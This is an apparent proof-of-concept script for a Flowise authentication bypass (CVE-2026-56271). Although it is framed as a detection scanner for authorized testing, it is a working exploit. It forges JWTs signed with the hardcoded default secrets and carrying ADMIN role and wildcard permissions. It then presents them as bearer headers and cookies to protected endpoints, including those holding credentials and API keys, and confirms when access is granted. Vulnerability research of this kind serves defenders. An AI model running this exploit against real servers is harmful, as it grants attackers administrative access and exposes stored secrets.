Flowise Enterprise Authentication Bypass via Hardcoded Default JWT Secrets (CVE-2026-56271)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455

#!/usr/bin/env python3
"""
CVE-2026-56271 - Flowise Authentication Bypass via Hardcoded JWT Secrets PoC
CVSS: 9.8 | CWE: CWE-321

Flowise before 3.1.0 uses weak hardcoded default JWT secrets ('auth_token',
'refresh_token') and default audience/issuer values ('AUDIENCE', 'ISSUER')
in the enterprise passport authentication middleware. When the corresponding
environment variables are not set, the application silently falls back to
these publicly known defaults, allowing forged JWTs to impersonate any user.

For authorized security testing only.
"""

import argparse
import re
import sys
import time
import uuid
from urllib.parse import urljoin, urlparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import jwt as pyjwt
except ImportError:
    print("[ERROR] PyJWT is required. Install with: pip install pyjwt")
    sys.exit(2)

TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0 (CVE-2026-56271)"

HARDCODED_AUTH_SECRET = "auth_token"
HARDCODED_REFRESH_SECRET = "refresh_token"  # noqa: S105
HARDCODED_AUDIENCE = "AUDIENCE"
HARDCODED_ISSUER = "ISSUER"

FLOWISE_PROBE_PATHS = [
    "/",
    "/api/v1/ping",
    "/api/v1/version",
    "/api/v1/chatflows",
    "/api/v1/settings",
]

PROTECTED_PATHS = [
    "/api/v1/chatflows",
    "/api/v1/credentials",
    "/api/v1/apikey",
    "/api/v1/variables",
    "/api/v1/assistants",
    "/api/v1/tools",
    "/api/v1/settings",
    "/api/v1/user",
    "/api/v1/organization",
    "/api/v1/workspace",
]

FLOWISE_INDICATORS = [
    "flowise",
    "flowiseai",
    "flowise-ui",
    "/api/v1/chatflows",
    "/api/v1/ping",
]

VULNERABLE_VERSION_CEILING = (3, 1, 0)


def _vprint(verbose, msg):
    if verbose:
        print(f"[*] {msg}")


def _request(method, url, verbose=False, **kwargs):
    kwargs.setdefault("timeout", TIMEOUT)
    kwargs.setdefault("verify", False)
    kwargs.setdefault("allow_redirects", False)
    headers = kwargs.pop("headers", {}) or {}
    headers.setdefault("User-Agent", USER_AGENT)
    kwargs["headers"] = headers
    _vprint(verbose, f"{method.upper()} {url}")
    return requests.request(method, url, **kwargs)


def _parse_semver(text):
    if not text:
        return None
    m = re.search(r"(\d+)\.(\d+)\.(\d+)", text)
    if not m:
        return None
    return tuple(int(x) for x in m.groups())


def check_product(target, verbose=False):
    """Stage 1: Product detection (Passive)"""
    _vprint(verbose, "Stage 1: Passive product detection")
    for path in FLOWISE_PROBE_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
        except requests.RequestException as exc:
            _vprint(verbose, f"Probe error at {path}: {exc}")
            continue

        body_lower = (resp.text or "").lower()[:8192]
        headers_blob = " ".join(f"{k}:{v}" for k, v in resp.headers.items()).lower()
        combined = body_lower + " " + headers_blob

        for marker in FLOWISE_INDICATORS:
            if marker in combined:
                _vprint(verbose, f"Flowise indicator '{marker}' found at {path}")
                return True

        if path.endswith("/api/v1/ping") and resp.status_code == 200 and "pong" in body_lower:
            _vprint(verbose, "Flowise /api/v1/ping returned 'pong'")
            return True

        if path.endswith("/api/v1/version") and resp.status_code == 200:
            try:
                data = resp.json()
                if isinstance(data, dict) and "version" in data:
                    _vprint(verbose, f"Flowise /api/v1/version returned {data}")
                    return True
            except ValueError:
                pass

    _vprint(verbose, "No Flowise indicators found in passive probes")
    return False


def check_version(target, verbose=False):
    """Stage 2: Version detection (Passive)"""
    _vprint(verbose, "Stage 2: Passive version detection")
    result = {"potentially_vulnerable": False, "version": None, "evidence": None}

    url = urljoin(target, "/api/v1/version")
    try:
        resp = _request("GET", url, verbose=verbose)
    except requests.RequestException as exc:
        _vprint(verbose, f"Version endpoint error: {exc}")
        return result

    if resp.status_code != 200:
        _vprint(verbose, f"Version endpoint returned HTTP {resp.status_code}")
        return result

    version_str = None
    try:
        data = resp.json()
        if isinstance(data, dict):
            version_str = data.get("version") or data.get("Version")
    except ValueError:
        version_str = None

    if not version_str:
        version_str = resp.text.strip()[:64] if resp.text else None

    semver = _parse_semver(version_str) if version_str else None
    if not semver:
        _vprint(verbose, "Could not parse a semantic version string")
        return result

    result["version"] = ".".join(str(x) for x in semver)
    if semver < VULNERABLE_VERSION_CEILING:
        result["potentially_vulnerable"] = True
        result["evidence"] = (
            f"Detected Flowise version {result['version']} "
            f"< {'.'.join(str(x) for x in VULNERABLE_VERSION_CEILING)}"
        )
        _vprint(verbose, result["evidence"])
    else:
        _vprint(verbose, f"Detected Flowise version {result['version']} (not in vulnerable range)")

    return result


def _forge_token(secret, audience, issuer, subject=None, extra_claims=None, algorithm="HS256"):
    now = int(time.time())
    payload = {
        "id": subject or str(uuid.uuid4()),
        "username": "attackwatch-detector",
        "name": "AttackWatch Detector",
        "email": "detector@attackwatch.local",
        "role": "ADMIN",
        "permissions": ["*"],
        "iat": now,
        "nbf": now,
        "exp": now + 3600,
        "aud": audience,
        "iss": issuer,
    }
    if extra_claims:
        payload.update(extra_claims)
    return pyjwt.encode(payload, secret, algorithm=algorithm)


def _auth_variants(token):
    """Header/cookie variants the passport middleware may accept."""
    return [
        {"kind": "bearer", "headers": {"Authorization": f"Bearer {token}"}, "cookies": {}},
        {"kind": "cookie_token", "headers": {}, "cookies": {"token": token}},
        {"kind": "cookie_access", "headers": {}, "cookies": {"access_token": token}},
        {"kind": "cookie_jwt", "headers": {}, "cookies": {"jwt": token}},
    ]


def auth_check(target, verbose=False):
    """Stage 3a: auth_check - baseline authentication enforcement."""
    _vprint(verbose, "Stage 3a: auth_check - verifying baseline authentication enforcement")
    baseline = {"enforced": False, "path": None, "status": None}
    for path in PROTECTED_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
        except requests.RequestException as exc:
            _vprint(verbose, f"auth_check network error on {path}: {exc}")
            continue

        if resp.status_code in (401, 403):
            baseline.update({"enforced": True, "path": path, "status": resp.status_code})
            _vprint(verbose, f"Baseline auth enforced on {path}: HTTP {resp.status_code}")
            return baseline
        _vprint(verbose, f"{path} unauthenticated status: HTTP {resp.status_code}")

    return baseline


def bypass_based(target, verbose=False):
    """Stage 3b: bypass_based - forge JWTs with hardcoded defaults and access protected endpoints."""
    _vprint(verbose, "Stage 3b: bypass_based - forging JWTs using hardcoded defaults")
    outcome = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "bypass_based",
    }

    secrets_to_try = [
        ("auth", HARDCODED_AUTH_SECRET),
        ("refresh", HARDCODED_REFRESH_SECRET),
    ]

    unauth_status = {}
    for path in PROTECTED_PATHS:
        url = urljoin(target, path)
        try:
            resp = _request("GET", url, verbose=verbose)
            unauth_status[path] = resp.status_code
        except requests.RequestException:
            unauth_status[path] = None

    for secret_label, secret in secrets_to_try:
        try:
            token = _forge_token(secret, HARDCODED_AUDIENCE, HARDCODED_ISSUER)
        except Exception as exc:  # noqa: BLE001
            _vprint(verbose, f"Token forge failure ({secret_label}): {exc}")
            continue
        _vprint(verbose, f"Forged {secret_label} JWT with hardcoded secret '{secret}'")

        for variant in _auth_variants(token):
            for path in PROTECTED_PATHS:
                url = urljoin(target, path)
                try:
                    resp = _request(
                        "GET",
                        url,
                        verbose=verbose,
                        headers=variant["headers"],
                        cookies=variant["cookies"],
                    )
                except requests.RequestException as exc:
                    _vprint(verbose, f"bypass request error on {path}: {exc}")
                    continue

                base = unauth_status.get(path)
                promoted = (
                    base in (401, 403)
                    and resp.status_code not in (401, 403)
                    and resp.status_code < 500
                )
                looks_auth_ok = resp.status_code == 200 and (
                    "application/json" in resp.headers.get("Content-Type", "").lower()
                    or resp.text.strip().startswith(("[", "{"))
                )

                if promoted or (base is None and looks_auth_ok):
                    evidence = (
                        f"Forged JWT (secret='{secret}', aud='{HARDCODED_AUDIENCE}', "
                        f"iss='{HARDCODED_ISSUER}') via {variant['kind']} accepted at {path}: "
                        f"unauth HTTP {base} -> auth HTTP {resp.status_code}"
                    )
                    outcome.update(
                        {
                            "confirmed": True,
                            "confidence": 95 if promoted else 80,
                            "evidence": evidence,
                            "method": f"bypass_based:{secret_label}:{variant['kind']}",
                        }
                    )
                    _vprint(verbose, f"CONFIRMED bypass: {evidence}")
                    return outcome

    return outcome


def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
    """Main vulnerability check orchestrator"""
    results = {
        "vulnerable": False,
        "confidence": 0,
        "evidence": None,
        "method": None,
        "stage": None,
    }

    if not check_product(target, verbose):
        results["evidence"] = "Target does not appear to be running Flowise"
        results["stage"] = "product_check"
        return results

    version_result = check_version(target, verbose)
    if version_result.get("potentially_vulnerable"):
        results["stage"] = "version_check"
        results["confidence"] = 30
        results["evidence"] = version_result.get("evidence")

    if active_test:
        baseline = auth_check(target, verbose)
        if not baseline.get("enforced"):
            _vprint(verbose, "Warning: no protected endpoint returned 401/403; bypass may be noisy.")

        test_result = bypass_based(target, verbose)
        if test_result.get("confirmed"):
            results.update(
                {
                    "vulnerable": True,
                    "confidence": test_result["confidence"],
                    "evidence": test_result["evidence"],
                    "method": test_result["method"],
                    "stage": "active_test",
                }
            )
            return results

    return results


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-56271 Flowise Hardcoded JWT Secret Detection PoC (detection only)"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL (http:// or https://)")
    parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
    parser.add_argument("--version-only", action="store_true", help="Passive version check only")
    parser.add_argument("--callback", help="Callback URL for OOB detection (unused for this CVE)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")

    args = parser.parse_args()

    global TIMEOUT
    TIMEOUT = args.timeout

    target = args.target.strip()
    parsed = urlparse(target)
    if not parsed.scheme:
        target = "http://" + target
        parsed = urlparse(target)
    if parsed.scheme not in ("http", "https"):
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Unsupported URL scheme '{parsed.scheme}'")
        sys.exit(2)

    try:
        if args.version_only:
            if not check_product(target, args.verbose):
                print("[NOT VULNERABLE]")
                print("Confidence: 100%")
                print("Evidence: Target does not appear to be Flowise")
                sys.exit(0)

            version_result = check_version(target, args.verbose)
            if version_result.get("potentially_vulnerable"):
                print("[POTENTIALLY VULNERABLE]")
                print("Confidence: 30%")
                print(f"Evidence: {version_result.get('evidence')}")
                print("Method: version_check")
                print("Stage: version_check")
                print("Note: Version-only check - active testing recommended")
                sys.exit(1)
            print("[NOT VULNERABLE]")
            print("Confidence: 80%")
            evidence = (
                f"Detected version {version_result.get('version')} not in vulnerable range"
                if version_result.get("version")
                else "Version endpoint did not indicate a vulnerable release"
            )
            print(f"Evidence: {evidence}")
            sys.exit(0)

        result = check_vulnerability(
            target,
            active_test=True,
            callback_url=args.callback,
            verbose=args.verbose,
        )

        if result["vulnerable"]:
            print("[VULNERABLE]")
            print(f"Confidence: {result['confidence']}%")
            print(f"Evidence: {result['evidence']}")
            print(f"Method: {result['method']}")
            print(f"Stage: {result['stage']}")
            sys.exit(1)

        print("[NOT VULNERABLE]")
        confidence = 100 - result.get("confidence", 0)
        print(f"Confidence: {confidence}%")
        if result.get("evidence"):
            print(f"Evidence: {result['evidence']}")
        if result.get("method"):
            print(f"Method: {result['method']}")
        if result.get("stage"):
            print(f"Stage: {result['stage']}")
        sys.exit(0)

    except requests.exceptions.SSLError as exc:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: SSL error - {exc}")
        sys.exit(2)
    except requests.exceptions.ConnectionError as exc:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Connection error - {exc}")
        sys.exit(2)
    except requests.exceptions.Timeout:
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Request timed out after {TIMEOUT}s")
        sys.exit(2)
    except Exception as exc:  # noqa: BLE001
        print("[NOT VULNERABLE]")
        print("Confidence: 0%")
        print(f"Evidence: Unexpected error - {type(exc).__name__}: {exc}")
        sys.exit(2)


if __name__ == "__main__":
    main()